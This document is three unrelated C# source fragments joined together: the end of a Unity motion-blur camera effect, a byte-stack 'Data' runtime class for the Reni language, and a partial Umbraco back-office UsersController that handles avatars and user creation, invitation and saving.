RenderTexture tileMax = RenderTexture.GetTemporary (tileWidth, tileHeight, 0, rtFormat); RenderTexture neighbourMax = RenderTexture.GetTemporary (tileWidth, tileHeight, 0, rtFormat); velBuffer.filterMode = FilterMode.Point; tileMax.filterMode = FilterMode.Point; neighbourMax.filterMode = FilterMode.Point; if (noiseTexture) noiseTexture.filterMode = FilterMode.Point; source.wrapMode = TextureWrapMode.Clamp; velBuffer.wrapMode = TextureWrapMode.Clamp; neighbourMax.wrapMode = TextureWrapMode.Clamp; tileMax.wrapMode = TextureWrapMode.Clamp; // calc correct viewprj matrix CalculateViewProjection (); // just started up? if (gameObject.activeInHierarchy && !wasActive) { Remember (); } wasActive = gameObject.activeInHierarchy; // matrices Matrix4x4 invViewPrj = Matrix4x4.Inverse (currentViewProjMat); motionBlurMaterial.SetMatrix ("_InvViewProj", invViewPrj); motionBlurMaterial.SetMatrix ("_PrevViewProj", prevViewProjMat); motionBlurMaterial.SetMatrix ("_ToPrevViewProjCombined", prevViewProjMat * invViewPrj); motionBlurMaterial.SetFloat ("_MaxVelocity", _maxVelocity); motionBlurMaterial.SetFloat ("_MaxRadiusOrKInPaper", _maxVelocity); motionBlurMaterial.SetFloat ("_MinVelocity", minVelocity); motionBlurMaterial.SetFloat ("_VelocityScale", velocityScale); motionBlurMaterial.SetFloat ("_Jitter", jitter); // texture samplers motionBlurMaterial.SetTexture ("_NoiseTex", noiseTexture); motionBlurMaterial.SetTexture ("_VelTex", velBuffer); motionBlurMaterial.SetTexture ("_NeighbourMaxTex", neighbourMax); motionBlurMaterial.SetTexture ("_TileTexDebug", tileMax); if (preview) { // generate an artifical 'previous' matrix to simulate blur look Matrix4x4 viewMat = _camera.worldToCameraMatrix; Matrix4x4 offset = Matrix4x4.identity; offset.SetTRS(previewScale * 0.3333f, Quaternion.identity, Vector3.one); // using only translation Matrix4x4 projMat = GL.GetGPUProjectionMatrix (_camera.projectionMatrix, true); prevViewProjMat = projMat * offset * viewMat; motionBlurMaterial.SetMatrix ("_PrevViewProj", prevViewProjMat); motionBlurMaterial.SetMatrix ("_ToPrevViewProjCombined", prevViewProjMat * invViewPrj); } if (filterType == MotionBlurFilter.CameraMotion) { // build blur vector to be used in shader to create a global blur direction Vector4 blurVector = Vector4.zero; float lookUpDown = Vector3.Dot (transform.up, Vector3.up); Vector3 distanceVector = prevFramePos-transform.position; float distMag = distanceVector.magnitude; float farHeur = 1.0f; // pitch (vertical) farHeur = (Vector3.Angle (transform.up, prevFrameUp) / _camera.fieldOfView) * (source.width * 0.75f); blurVector.x = rotationScale * farHeur;//Mathf.Clamp01((1.0ff-Vector3.Dot(transform.up, prevFrameUp))); // yaw #1 (horizontal, faded by pitch) farHeur = (Vector3.Angle (transform.forward, prevFrameForward) / _camera.fieldOfView) * (source.width * 0.75f); blurVector.y = rotationScale * lookUpDown * farHeur;//Mathf.Clamp01((1.0ff-Vector3.Dot(transform.forward, prevFrameForward))); // yaw #2 (when looking down, faded by 1-pitch) farHeur = (Vector3.Angle (transform.forward, prevFrameForward) / _camera.fieldOfView) * (source.width * 0.75f); blurVector.z = rotationScale * (1.0f- lookUpDown) * farHeur;//Mathf.Clamp01((1.0ff-Vector3.Dot(transform.forward, prevFrameForward))); if (distMag > Mathf.Epsilon && movementScale > Mathf.Epsilon) { // forward (probably most important) blurVector.w = movementScale * (Vector3.Dot (transform.forward, distanceVector) ) * (source.width * 0.5f); // jump (maybe scale down further) blurVector.x += movementScale * (Vector3.Dot (transform.up, distanceVector) ) * (source.width * 0.5f); // strafe (maybe scale down further) blurVector.y += movementScale * (Vector3.Dot (transform.right, distanceVector) ) * (source.width * 0.5f); } if (preview) // crude approximation motionBlurMaterial.SetVector ("_BlurDirectionPacked", new Vector4 (previewScale.y, previewScale.x, 0.0f, previewScale.z) * 0.5f * _camera.fieldOfView); else motionBlurMaterial.SetVector ("_BlurDirectionPacked", blurVector); } else { // generate velocity buffer Graphics.Blit (source, velBuffer, motionBlurMaterial, 0); // patch up velocity buffer: // exclude certain layers (e.g. skinned objects as we cant really support that atm) Camera cam = null; if (excludeLayers.value != 0)// || dynamicLayers.value) cam = GetTmpCam (); if (cam && excludeLayers.value != 0 && replacementClear && replacementClear.isSupported) { cam.targetTexture = velBuffer; cam.cullingMask = excludeLayers; cam.RenderWithShader (replacementClear, ""); } } if (!preview && Time.frameCount != prevFrameCount) { // remember current transformation data for next frame prevFrameCount = Time.frameCount; Remember (); } source.filterMode = FilterMode.Bilinear; // debug vel buffer: if (showVelocity) { // generate tile max and neighbour max //Graphics.Blit (velBuffer, tileMax, motionBlurMaterial, 2); //Graphics.Blit (tileMax, neighbourMax, motionBlurMaterial, 3); motionBlurMaterial.SetFloat ("_DisplayVelocityScale", showVelocityScale); Graphics.Blit (velBuffer, destination, motionBlurMaterial, 1); } else { if (filterType == MotionBlurFilter.ReconstructionDX11 && !fallbackFromDX11) { // need to reset some parameters for dx11 shader dx11MotionBlurMaterial.SetFloat ("_MinVelocity", minVelocity); dx11MotionBlurMaterial.SetFloat ("_VelocityScale", velocityScale); dx11MotionBlurMaterial.SetFloat ("_Jitter", jitter); // texture samplers dx11MotionBlurMaterial.SetTexture ("_NoiseTex", noiseTexture); dx11MotionBlurMaterial.SetTexture ("_VelTex", velBuffer); dx11MotionBlurMaterial.SetTexture ("_NeighbourMaxTex", neighbourMax); dx11MotionBlurMaterial.SetFloat ("_SoftZDistance", Mathf.Max(0.00025f, softZDistance) ); dx11MotionBlurMaterial.SetFloat ("_MaxRadiusOrKInPaper", _maxVelocity); // generate tile max and neighbour max Graphics.Blit (velBuffer, tileMax, dx11MotionBlurMaterial, 0); Graphics.Blit (tileMax, neighbourMax, dx11MotionBlurMaterial, 1); // final blur Graphics.Blit (source, destination, dx11MotionBlurMaterial, 2); } else if (filterType == MotionBlurFilter.Reconstruction || fallbackFromDX11) { // 'reconstructing' properly integrated color motionBlurMaterial.SetFloat ("_SoftZDistance", Mathf.Max(0.00025f, softZDistance) ); // generate tile max and neighbour max Graphics.Blit (velBuffer, tileMax, motionBlurMaterial, 2); Graphics.Blit (tileMax, neighbourMax, motionBlurMaterial, 3); // final blur Graphics.Blit (source, destination, motionBlurMaterial, 4); } else if (filterType == MotionBlurFilter.CameraMotion) { // orange box style motion blur Graphics.Blit (source, destination, motionBlurMaterial, 6); } else if (filterType == MotionBlurFilter.ReconstructionDisc) { // dof style motion blur defocuing and ellipse around the princical blur direction // 'reconstructing' properly integrated color motionBlurMaterial.SetFloat ("_SoftZDistance", Mathf.Max(0.00025f, softZDistance) ); // generate tile max and neighbour max Graphics.Blit (velBuffer, tileMax, motionBlurMaterial, 2); Graphics.Blit (tileMax, neighbourMax, motionBlurMaterial, 3); Graphics.Blit (source, destination, motionBlurMaterial, 7); } else { // simple & fast blur (low quality): just blurring along velocity Graphics.Blit (source, destination, motionBlurMaterial, 5); } } // cleanup RenderTexture.ReleaseTemporary (velBuffer); RenderTexture.ReleaseTemporary (tileMax); RenderTexture.ReleaseTemporary (neighbourMax); } void Remember () { prevViewProjMat = currentViewProjMat; prevFrameForward = transform.forward; prevFrameUp = transform.up; prevFramePos = transform.position; } Camera GetTmpCam () { if (tmpCam == null) { string name = "_" + _camera.name + "_MotionBlurTmpCam"; GameObject go = GameObject.Find (name); if (null == go) // couldn't find, recreate tmpCam = new GameObject (name, typeof (Camera)); else tmpCam = go; } tmpCam.hideFlags = HideFlags.DontSave; tmpCam.transform.position = _camera.transform.position; tmpCam.transform.rotation = _camera.transform.rotation; tmpCam.transform.localScale = _camera.transform.localScale; tmpCam.GetComponent<Camera>().CopyFrom(_camera); tmpCam.GetComponent<Camera>().enabled = false; tmpCam.GetComponent<Camera>().depthTextureMode = DepthTextureMode.None; tmpCam.GetComponent<Camera>().clearFlags = CameraClearFlags.Nothing; return tmpCam.GetComponent<Camera>(); } void StartFrame () { // take only x% of positional changes into account (camera motion) // TODO: possibly do the same for rotational part prevFramePos = Vector3.Slerp(prevFramePos, transform.position, 0.75f); } static int divRoundUp (int x, int d) { return (x + d - 1) / d; } } }
using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using hw.DebugFormatter; using hw.Helper; using JetBrains.Annotations; using Reni.Basics; namespace Reni.Runtime { [DebuggerDisplay("{Dump}")] public sealed class Data { public interface IView { } [PublicAPI] public sealed class View : DumpableObject, IView { readonly Data Parent; readonly int StartIndex; readonly int Bytes; public View(Data parent, int startIndex, int bytes) { Parent = parent; StartIndex = startIndex; Bytes = bytes; } protected override string GetNodeDump() => Create(Parent.Content.Pointer(StartIndex)).AddressDump + ": " + Parent.DumpLengthAndRange(StartIndex, Bytes); } static readonly BiasCache BiasCache = new(100); public static IOutStream OutStream { internal get; set; } readonly byte[] Content; int Length; Data(byte[] result) { Content = result; Length = 0; } int StartIndex { get => Content.Length - Length; set { Length = Content.Length - value; EnsureLength(); } } string Dump => Pointer(0).AddressDump + ": " + DataDump; string DataDump => DataDumpPart(); string AddressDump => BiasCache.AddressDump(this) + "=" + FlatDump; string FlatDump => GetBytes().Select(i => i.ToString()).Stringify(" "); public static Data Create(int bytes) => new(new byte[bytes]); [PublicAPI] public static Data Create(byte[] bytes) => new(bytes) { StartIndex = 0 }; [PublicAPI] public void Push(params byte[] bytes) { StartIndex -= bytes.Length; bytes.CopyTo(Content, StartIndex); } [PublicAPI] public void SizedPush(int byteCount, params byte[] bytes) { StartIndex -= byteCount; var i = 0; for(; i < byteCount && i < bytes.Length; i++) Content[StartIndex + i] = bytes[i]; for(; i < byteCount; i++) Content[StartIndex + i] = 0; } [PublicAPI] public void Push(Data data) => Push(data.GetBytes(data.Length)); [PublicAPI] public Data Pull(int bytes) { var result = new Data(GetBytes(bytes)); result.StartIndex -= bytes; StartIndex += bytes; return result; } [PublicAPI] public void Drop(int bytes) => StartIndex += bytes; [PublicAPI] public void Drop(int bytesBefore, int bytesAfter) { var top = Pull(bytesAfter); StartIndex += bytesBefore - bytesAfter; Push(top); } [PublicAPI] public byte[] GetBytes(int count) { var result = new byte[count]; for(var i = 0; i < count; i++) result[i] = Content[StartIndex + i]; return result; } [PublicAPI] public byte[] GetBytes() => GetBytes(Length); void EnsureLength() => (StartIndex >= 0).Assert(); [PublicAPI] public Data Pointer(int offset) => Create(Content.Pointer(StartIndex + offset)); [PublicAPI] public void PointerPlus(int offset) => Content.DoRefPlus(StartIndex, offset); [PublicAPI] public Data DePointer(int bytes) => Create(Content.Dereference(StartIndex, bytes)); [PublicAPI] public Data Get(int bytes, int offset) => Create(Content.Get(StartIndex + offset, bytes)); [PublicAPI] public Data GetFromBack(int bytes, int offset) => Create(Content.Get(Content.Length + offset, bytes)); [PublicAPI] public void PrintNumber() => GetBytes().PrintNumber(); [PublicAPI] public void PrintText(int itemBytes) { (itemBytes == 1).Assert(); GetBytes(Length).PrintText(); } [PublicAPI] public static void PrintText(string data) => data.PrintText(); [PublicAPI] public void Assign(int bytes) { var right = Pull(DataHandler.RefBytes); var left = Pull(DataHandler.RefBytes); left.Content.AssignFromPointers(right.Content, bytes); } [PublicAPI] public void ArrayGetter(int elementBytes, int indexBytes) { var offset = Pull(indexBytes).GetBytes().Times(elementBytes, DataHandler.RefBytes); var baseAddress = Pull(DataHandler.RefBytes); Push(baseAddress.GetBytes().Plus(offset, DataHandler.RefBytes)); } [PublicAPI] public void ArraySetter(int elementBytes, int indexBytes) { var right = Pull(DataHandler.RefBytes); var offset = Pull(indexBytes).GetBytes().Times(elementBytes, DataHandler.RefBytes); var baseAddress = Pull(DataHandler.RefBytes); var left = baseAddress.GetBytes().Plus(offset, DataHandler.RefBytes); left.AssignFromPointers(right.Content, elementBytes); } [PublicAPI] public Data BitCast(int bits) { var x = BitsConst.Convert(Content); var y = x.Resize(Size.Create(bits)); return Create(y.ToByteArray()); } string DataDumpPart() { var result = ""; result += DumpRange(0, StartIndex); result += " "; result += DumpLengthAndRange(StartIndex, Length); return result; } string DumpLengthAndRange(int startIndex, int bytes) => "[" + bytes + ": " + DumpRange(startIndex, bytes) + "]"; string DumpRange(int startIndex, int bytes) => bytes <= 0? "" : DumpRangeGenerator(startIndex, bytes).Stringify(" "); IEnumerable<string> DumpRangeGenerator(int startIndex, int bytes) { for(var i = 0; i < bytes;) { var address = BiasCache.Dump(Content, startIndex + i); if(address == null) { yield return Content[startIndex + i].ToString(); i++; } else { yield return address; i += DataHandler.RefBytes; } } } [PublicAPI] public IView GetCurrentView(int bytes) => new View(this, StartIndex, bytes); [PublicAPI] public void Equal(int sizeBytes, int leftBytes, int rightBytes) => Compare(sizeBytes, leftBytes, rightBytes, DataHandler.IsEqual); [PublicAPI] public void LessGreater(int sizeBytes, int leftBytes, int rightBytes) => Compare(sizeBytes, leftBytes, rightBytes, DataHandler.IsNotEqual); [PublicAPI] public void Less(int sizeBytes, int leftBytes, int rightBytes) => Compare(sizeBytes, leftBytes, rightBytes, DataHandler.IsLess); [PublicAPI] public void Greater(int sizeBytes, int leftBytes, int rightBytes) => Compare(sizeBytes, leftBytes, rightBytes, DataHandler.IsGreater); [PublicAPI] public void LessEqual(int sizeBytes, int leftBytes, int rightBytes) => Compare(sizeBytes, leftBytes, rightBytes, DataHandler.IsLessEqual); [PublicAPI] public void GreaterEqual(int sizeBytes, int leftBytes, int rightBytes) => Compare(sizeBytes, leftBytes, rightBytes, DataHandler.IsGreaterEqual); void Compare (int sizeBytes, int leftBytes, int rightBytes, Func<byte[], byte[], bool> operation) { var right = Pull(rightBytes); var left = Pull(leftBytes); var value = (byte)(operation(left.Content, right.Content)? -1 : 0); for(var i = 0; i < sizeBytes; i++) Push(value); } [PublicAPI] public void MinusPrefix(int bytes) { var data = Pull(bytes); data.Content.MinusPrefix(); Push(data); } [PublicAPI] public void Plus(int sizeBytes, int leftBytes, int rightBytes) { var right = Pull(rightBytes); var left = Pull(leftBytes); Push(left.Content.Plus(right.Content, sizeBytes)); } [PublicAPI] public void Minus(int sizeBytes, int leftBytes, int rightBytes) { var right = Pull(rightBytes); var left = Pull(leftBytes); right.MinusPrefix(rightBytes); Push(left.Content.Plus(right.Content, sizeBytes)); } [PublicAPI] public void Star(int sizeBytes, int leftBytes, int rightBytes) { var right = Pull(rightBytes); var left = Pull(leftBytes); Push(left.Content.Times(right.Content, sizeBytes)); } } }
using System; using System.Collections.Generic; using System.Configuration; using System.IO; using System.Linq; using System.Net; using System.Net.Http; using System.Runtime.Serialization; using System.Threading.Tasks; using System.Web; using System.Web.Http; using System.Web.Http.Controllers; using System.Web.Mvc; using System.Web.Routing; using System.Web.Security; using System.Web.WebPages; using AutoMapper; using ClientDependency.Core; using Microsoft.AspNet.Identity; using Umbraco.Core; using Umbraco.Core.Cache; using Umbraco.Core.Configuration; using Umbraco.Core.IO; using Umbraco.Core.Models; using Umbraco.Core.Models.Identity; using Umbraco.Core.Models.Membership; using Umbraco.Core.Persistence.DatabaseModelDefinitions; using Umbraco.Core.Persistence.Querying; using Umbraco.Core.Security; using Umbraco.Core.Services; using Umbraco.Web.Models.ContentEditing; using Umbraco.Web.Mvc; using Umbraco.Web.WebApi; using Umbraco.Web.WebApi.Filters; using ActionFilterAttribute = System.Web.Http.Filters.ActionFilterAttribute; using Constants = Umbraco.Core.Constants; using IUser = Umbraco.Core.Models.Membership.IUser; using Task = System.Threading.Tasks.Task; namespace Umbraco.Web.Editors { [PluginController("UmbracoApi")] [UmbracoApplicationAuthorize(Constants.Applications.Users)] [PrefixlessBodyModelValidator] [IsCurrentUserModelFilter] public class UsersController : UmbracoAuthorizedJsonController { /// <summary> /// Constructor /// </summary> public UsersController() : this(UmbracoContext.Current) { } /// <summary> /// Constructor /// </summary> /// <param name="umbracoContext"></param> public UsersController(UmbracoContext umbracoContext) : base(umbracoContext) { } public UsersController(UmbracoContext umbracoContext, UmbracoHelper umbracoHelper, BackOfficeUserManager<BackOfficeIdentityUser> backOfficeUserManager) : base(umbracoContext, umbracoHelper, backOfficeUserManager) { } /// <summary> /// Returns a list of the sizes of gravatar urls for the user or null if the gravatar server cannot be reached /// </summary> /// <returns></returns> public string[] GetCurrentUserAvatarUrls() { var urls = UmbracoContext.Security.CurrentUser.GetCurrentUserAvatarUrls(Services.UserService, ApplicationContext.ApplicationCache.StaticCache); if (urls == null) throw new HttpResponseException(Request.CreateErrorResponse(HttpStatusCode.BadRequest, "Could not access Gravatar endpoint")); return urls; } [AppendUserModifiedHeader("id")] [FileUploadCleanupFilter(false)] public async Task<HttpResponseMessage> PostSetAvatar(int id) { return await PostSetAvatarInternal(Request, Services.UserService, ApplicationContext.ApplicationCache.StaticCache, id); } internal static async Task<HttpResponseMessage> PostSetAvatarInternal(HttpRequestMessage request, IUserService userService, ICacheProvider staticCache, int id) { if (request.Content.IsMimeMultipartContent() == false) { throw new HttpResponseException(HttpStatusCode.UnsupportedMediaType); } var root = IOHelper.MapPath("~/App_Data/TEMP/FileUploads"); //ensure it exists Directory.CreateDirectory(root); var provider = new MultipartFormDataStreamProvider(root); var result = await request.Content.ReadAsMultipartAsync(provider); //must have a file if (result.FileData.Count == 0) { return request.CreateResponse(HttpStatusCode.NotFound); } var user = userService.GetUserById(id); if (user == null) return request.CreateResponse(HttpStatusCode.NotFound); var tempFiles = new PostedFiles(); if (result.FileData.Count > 1) return request.CreateValidationErrorResponse("The request was not formatted correctly, only one file can be attached to the request"); //get the file info var file = result.FileData[0]; var fileName = file.Headers.ContentDisposition.FileName.Trim(new[] { '\"' }).TrimEnd(); var safeFileName = fileName.ToSafeFileName(); var ext = safeFileName.Substring(safeFileName.LastIndexOf('.') + 1).ToLower(); if (UmbracoConfig.For.UmbracoSettings().Content.DisallowedUploadFiles.Contains(ext) == false) { //generate a path of known data, we don't want this path to be guessable user.Avatar = "UserAvatars/" + (user.Id + safeFileName).ToSHA1() + "." + ext; using (var fs = System.IO.File.OpenRead(file.LocalFileName)) { FileSystemProviderManager.Current.MediaFileSystem.AddFile(user.Avatar, fs, true); } userService.Save(user); //track the temp file so the cleanup filter removes it tempFiles.UploadedFiles.Add(new ContentItemFile { TempFilePath = file.LocalFileName }); } return request.CreateResponse(HttpStatusCode.OK, user.GetCurrentUserAvatarUrls(userService, staticCache)); } [AppendUserModifiedHeader("id")] public HttpResponseMessage PostClearAvatar(int id) { var found = Services.UserService.GetUserById(id); if (found == null) return Request.CreateResponse(HttpStatusCode.NotFound); var filePath = found.Avatar; //if the filePath is already null it will mean that the user doesn't have a custom avatar and their gravatar is currently //being used (if they have one). This means they want to remove their gravatar too which we can do by setting a special value //for the avatar. if (filePath.IsNullOrWhiteSpace() == false) { found.Avatar = null; } else { //set a special value to indicate to not have any avatar found.Avatar = "none"; } Services.UserService.Save(found); if (filePath.IsNullOrWhiteSpace() == false) { if (FileSystemProviderManager.Current.MediaFileSystem.FileExists(filePath)) FileSystemProviderManager.Current.MediaFileSystem.DeleteFile(filePath); } return Request.CreateResponse(HttpStatusCode.OK, found.GetCurrentUserAvatarUrls(Services.UserService, ApplicationContext.ApplicationCache.StaticCache)); } /// <summary> /// Gets a user by Id /// </summary> /// <param name="id"></param> /// <returns></returns> public UserDisplay GetById(int id) { var user = Services.UserService.GetUserById(id); if (user == null) { throw new HttpResponseException(HttpStatusCode.NotFound); } var result = Mapper.Map<IUser, UserDisplay>(user); return result; } /// <summary> /// Returns a paged users collection /// </summary> /// <param name="pageNumber"></param> /// <param name="pageSize"></param> /// <param name="orderBy"></param> /// <param name="orderDirection"></param> /// <param name="userGroups"></param> /// <param name="userStates"></param> /// <param name="filter"></param> /// <returns></returns> public PagedUserResult GetPagedUsers( int pageNumber = 1, int pageSize = 10, string orderBy = "username", Direction orderDirection = Direction.Ascending, [FromUri]string[] userGroups = null, [FromUri]UserState[] userStates = null, string filter = "") { //following the same principle we had in previous versions, we would only show admins to admins, see // https://github.com/umbraco/Umbraco-CMS/blob/dev-v7/src/Umbraco.Web/umbraco.presentation/umbraco/Trees/loadUsers.cs#L91 // so to do that here, we'll need to check if this current user is an admin and if not we should exclude all user who are // also admins var excludeUserGroups = new string[0]; var isAdmin = Security.CurrentUser.IsAdmin(); if (isAdmin == false) { //this user is not an admin so in that case we need to exlude all admin users excludeUserGroups = new[] {Constants.Security.AdminGroupAlias}; } var filterQuery = Query<IUser>.Builder; //if the current user is not the administrator, then don't include this in the results. var isAdminUser = Security.CurrentUser.Id == 0; if (isAdminUser == false) { filterQuery.Where(x => x.Id != 0); } if (filter.IsNullOrWhiteSpace() == false) { filterQuery.Where(x => x.Name.Contains(filter) || x.Username.Contains(filter)); } long pageIndex = pageNumber - 1; long total; var result = Services.UserService.GetAll(pageIndex, pageSize, out total, orderBy, orderDirection, userStates, userGroups, excludeUserGroups, filterQuery); var paged = new PagedUserResult(total, pageNumber, pageSize) { Items = Mapper.Map<IEnumerable<UserBasic>>(result), UserStates = Services.UserService.GetUserStates() }; return paged; } /// <summary> /// Creates a new user /// </summary> /// <param name="userSave"></param> /// <returns></returns> public async Task<UserDisplay> PostCreateUser(UserInvite userSave) { if (userSave == null) throw new ArgumentNullException("userSave"); if (ModelState.IsValid == false) { throw new HttpResponseException(Request.CreateErrorResponse(HttpStatusCode.BadRequest, ModelState)); } if (UmbracoConfig.For.UmbracoSettings().Security.UsernameIsEmail) { //ensure they are the same if we're using it userSave.Username = userSave.Email; } else { //first validate the username if were showing it CheckUniqueUsername(userSave.Username, null); } CheckUniqueEmail(userSave.Email, null); //Perform authorization here to see if the current user can actually save this user with the info being requested var authHelper = new UserEditorAuthorizationHelper(Services.ContentService, Services.MediaService, Services.UserService, Services.EntityService); var canSaveUser = authHelper.IsAuthorized(Security.CurrentUser, null, null, null, userSave.UserGroups); if (canSaveUser == false) { throw new HttpResponseException(Request.CreateResponse(HttpStatusCode.Unauthorized, canSaveUser.Result)); } //we want to create the user with the UserManager, this ensures the 'empty' (special) password //format is applied without us having to duplicate that logic var identityUser = BackOfficeIdentityUser.CreateNew(userSave.Username, userSave.Email, GlobalSettings.DefaultUILanguage); identityUser.Name = userSave.Name; var created = await UserManager.CreateAsync(identityUser); if (created.Succeeded == false) { throw new HttpResponseException( Request.CreateNotificationValidationErrorResponse(string.Join(", ", created.Errors))); } //we need to generate a password, however we can only do that if the user manager has a password validator that //we can read values from var passwordValidator = UserManager.PasswordValidator as PasswordValidator; var resetPassword = string.Empty; if (passwordValidator != null) { var password = UserManager.GeneratePassword(); var result = await UserManager.AddPasswordAsync(identityUser.Id, password); if (result.Succeeded == false) { throw new HttpResponseException( Request.CreateNotificationValidationErrorResponse(string.Join(", ", created.Errors))); } resetPassword = password; } //now re-look the user back up which will now exist var user = Services.UserService.GetByEmail(userSave.Email); //map the save info over onto the user user = Mapper.Map(userSave, user); //since the back office user is creating this user, they will be set to approved user.IsApproved = true; Services.UserService.Save(user); var display = Mapper.Map<UserDisplay>(user); display.ResetPasswordValue = resetPassword; return display; } /// <summary> /// Invites a user /// </summary> /// <param name="userSave"></param> /// <returns></returns> /// <remarks> /// This will email the user an invite and generate a token that will be validated in the email /// </remarks> public async Task<UserDisplay> PostInviteUser(UserInvite userSave) { if (userSave == null) throw new ArgumentNullException("userSave"); if (userSave.Message.IsNullOrWhiteSpace()) ModelState.AddModelError("Message", "Message cannot be empty"); if (ModelState.IsValid == false) { throw new HttpResponseException(Request.CreateErrorResponse(HttpStatusCode.BadRequest, ModelState)); } if (EmailSender.CanSendRequiredEmail == false) { throw new HttpResponseException( Request.CreateNotificationValidationErrorResponse("No Email server is configured")); } IUser user; if (UmbracoConfig.For.UmbracoSettings().Security.UsernameIsEmail) { //ensure it's the same userSave.Username = userSave.Email; } else { //first validate the username if we're showing it user = CheckUniqueUsername(userSave.Username, u => u.LastLoginDate != default(DateTime) || u.EmailConfirmedDate.HasValue); } user = CheckUniqueEmail(userSave.Email, u => u.LastLoginDate != default(DateTime) || u.EmailConfirmedDate.HasValue); //Perform authorization here to see if the current user can actually save this user with the info being requested var authHelper = new UserEditorAuthorizationHelper(Services.ContentService, Services.MediaService, Services.UserService, Services.EntityService); var canSaveUser = authHelper.IsAuthorized(Security.CurrentUser, user, null, null, userSave.UserGroups); if (canSaveUser == false) { throw new HttpResponseException(Request.CreateResponse(HttpStatusCode.Unauthorized, canSaveUser.Result)); } if (user == null) { //we want to create the user with the UserManager, this ensures the 'empty' (special) password //format is applied without us having to duplicate that logic var identityUser = BackOfficeIdentityUser.CreateNew(userSave.Username, userSave.Email, GlobalSettings.DefaultUILanguage); identityUser.Name = userSave.Name; var created = await UserManager.CreateAsync(identityUser); if (created.Succeeded == false) { throw new HttpResponseException( Request.CreateNotificationValidationErrorResponse(string.Join(", ", created.Errors))); } //now re-look the user back up user = Services.UserService.GetByEmail(userSave.Email); } //map the save info over onto the user user = Mapper.Map(userSave, user); //ensure the invited date is set user.InvitedDate = DateTime.Now; //Save the updated user Services.UserService.Save(user); var display = Mapper.Map<UserDisplay>(user); //send the email await SendUserInviteEmailAsync(display, Security.CurrentUser.Name, user, userSave.Message); return display; } private IUser CheckUniqueEmail(string email, Func<IUser, bool> extraCheck) { var user = Services.UserService.GetByEmail(email); if (user != null && (extraCheck == null || extraCheck(user))) { ModelState.AddModelError("Email", "A user with the email already exists"); throw new HttpResponseException(Request.CreateErrorResponse(HttpStatusCode.BadRequest, ModelState)); } return user; } private IUser CheckUniqueUsername(string username, Func<IUser, bool> extraCheck) { var user = Services.UserService.GetByUsername(username); if (user != null && (extraCheck == null || extraCheck(user))) { ModelState.AddModelError( UmbracoConfig.For.UmbracoSettings().Security.UsernameIsEmail ? "Email" : "Username", "A user with the username already exists"); throw new HttpResponseException(Request.CreateErrorResponse(HttpStatusCode.BadRequest, ModelState)); } return user; } private HttpContextBase EnsureHttpContext() { var attempt = this.TryGetHttpContext(); if (attempt.Success == false) throw new InvalidOperationException("This method requires that an HttpContext be active"); return attempt.Result; } private async Task SendUserInviteEmailAsync(UserBasic userDisplay, string from, IUser to, string message) { var token = await UserManager.GenerateEmailConfirmationTokenAsync((int)userDisplay.Id); var inviteToken = string.Format("{0}{1}{2}", (int)userDisplay.Id, WebUtility.UrlEncode("|"), token.ToUrlBase64()); // Get an mvc helper to get the url var http = EnsureHttpContext(); var urlHelper = new UrlHelper(http.Request.RequestContext); var action = urlHelper.Action("VerifyInvite", "BackOffice", new { area = GlobalSettings.UmbracoMvcArea, invite = inviteToken }); // Construct full URL using configured application URL (which will fall back to request) var applicationUri = new Uri(ApplicationContext.UmbracoApplicationUrl); var inviteUri = new Uri(applicationUri, action); var emailSubject = Services.TextService.Localize("user/inviteEmailCopySubject", //Ensure the culture of the found user is used for the email! UserExtensions.GetUserCulture(to.Language, Services.TextService)); var emailBody = Services.TextService.Localize("user/inviteEmailCopyFormat", //Ensure the culture of the found user is used for the email! UserExtensions.GetUserCulture(to.Language, Services.TextService), new[] { userDisplay.Name, from, message, inviteUri.ToString() }); await UserManager.EmailService.SendAsync( //send the special UmbracoEmailMessage which configures it's own sender //to allow for events to handle sending the message if no smtp is configured new UmbracoEmailMessage(new EmailSender(true)) { Body = emailBody, Destination = userDisplay.Email, Subject = emailSubject }); } /// <summary> /// Saves a user /// </summary> /// <param name="userSave"></param> /// <returns></returns> public async Task<UserDisplay> PostSaveUser(UserSave userSave) { if (userSave == null) throw new ArgumentNullException("userSave"); if (ModelState.IsValid == false) { throw new HttpResponseException(Request.CreateErrorResponse(HttpStatusCode.BadRequest, ModelState)); } var intId = userSave.Id.TryConvertTo<int>(); if (intId.Success == false) throw new HttpResponseException(HttpStatusCode.NotFound); var found = Services.UserService.GetUserById(intId.Result); if (found == null) throw new HttpResponseException(HttpStatusCode.NotFound); //Perform authorization here to see if the current user can actually save this user with the info being requested var authHelper = new UserEditorAuthorizationHelper(Services.ContentService, Services.MediaService, Services.UserService, Services.EntityService); var canSaveUser = authHelper.IsAuthorized(Security.CurrentUser, found, userSave.StartContentIds, userSave.StartMediaIds, userSave.UserGroups); if (canSaveUser == false) { throw new HttpResponseException(Request.CreateResponse(HttpStatusCode.Unauthorized, canSaveUser.Result)); } var hasErrors = false; var existing = Services.UserService.GetByEmail(userSave.Email); if (existing != null && existing.Id != userSave.Id) { ModelState.AddModelError("Email", "A user with the email already exists"); hasErrors = true; } existing = Services.UserService.GetByUsername(userSave.Username); if (existing != null && existing.Id != userSave.Id) { ModelState.AddModelError("Username", "A user with the username already exists"); hasErrors = true; } // going forward we prefer to align usernames with email, so we should cross-check to make sure // the email or username isn't somehow being used by anyone. existing = Services.UserService.GetByEmail(userSave.Username); if (existing != null && existing.Id != userSave.Id) { ModelState.AddModelError("Username", "A user using this as their email already exists"); hasErrors = true; } existing = Services.UserService.GetByUsername(userSave.Email); if (existing != null && existing.Id != userSave.Id) { ModelState.AddModelError("Email", "A user using this as their username already exists"); hasErrors = true; } // if the found user has his email for username, we want to keep this synced when changing the email. // we have already cross-checked above that the email isn't colliding with anything, so we can safely assign it here. if (UmbracoConfig.For.UmbracoSettings().Security.UsernameIsEmail && found.Username == found.Email && userSave.Username != userSave.Email) { userSave.Username = userSave.Email; } if (userSave.ChangePassword != null) { var passwordChanger = new PasswordChanger(Logger, Services.UserService, UmbracoContext.HttpContext); var passwordChangeResult = await passwordChanger.ChangePasswordWithIdentityAsync(Security.CurrentUser, found, userSave.ChangePassword, UserManager); if (passwordChangeResult.Success) { var userMgr = this.TryGetOwinContext().Result.GetBackOfficeUserManager(); //raise the event - NOTE that the ChangePassword.Reset value here doesn't mean it's been 'reset', it means //it's been changed by a back office user if (userSave.ChangePassword.Reset.HasValue && userSave.ChangePassword.Reset.Value) { userMgr.RaisePasswordChangedEvent(intId.Result); } //need to re-get the user found = Services.UserService.GetUserById(intId.Result); } else { hasErrors = true; foreach (var memberName in passwordChangeResult.Result.ChangeError.MemberNames) { 